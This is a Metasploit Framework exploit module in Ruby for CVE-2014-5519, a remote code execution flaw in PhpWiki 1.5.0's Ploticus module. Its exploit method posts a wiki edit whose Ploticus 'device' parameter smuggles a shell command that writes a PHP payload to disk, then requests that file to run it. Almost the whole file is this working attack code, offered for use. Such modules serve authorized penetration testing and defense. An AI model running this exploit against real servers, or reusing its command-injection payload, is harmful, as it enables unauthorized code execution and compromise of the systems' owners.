Spencer McIntyre
88 lines
2.6 KiB
Ruby
88 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Phpwiki Ploticus Remote Code Execution',
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'Description' => %q{
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The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary
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code via command injection.
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},
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'Author' => [
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'Benjamin Harris', # Discovery and POC
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'us3r777 <us3r777[at]n0b0.so>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2014-5519' ],
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[ 'OSVDB', '110576' ],
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[ 'EDB', '34451'],
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[ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation
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[ 'URL', 'https://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public
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],
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'Payload' => {
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'BadChars' => "\x00"
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},
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'Platform' => 'php',
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'Targets' => [
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2014-09-11',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']),
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]
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)
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end
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def exploit
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uri = target_uri.path
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payload_name = "#{rand_text_alpha(8)}.php"
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php_payload = get_write_exec_payload(unlink_self: true)
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res = send_request_cgi({
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'uri' => normalize_uri(uri + '/index.php/HeIp'),
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'method' => 'POST',
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'vars_post' =>
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{
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'pagename' => 'HeIp',
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'edit[content]' => "<<Ploticus device=\";echo '#{php_payload}' > #{payload_name};\" -prefab= -csmap= data= alt= help= >>",
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'edit[preview]' => 'Preview',
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'action' => 'edit'
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}
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})
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if !res or res.code != 200
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fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
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end
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upload_uri = normalize_uri(uri + '/' + payload_name)
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print_status("Executing payload #{payload_name}")
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send_request_raw({
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'uri' => upload_uri,
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'method' => 'GET'
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})
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end
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end
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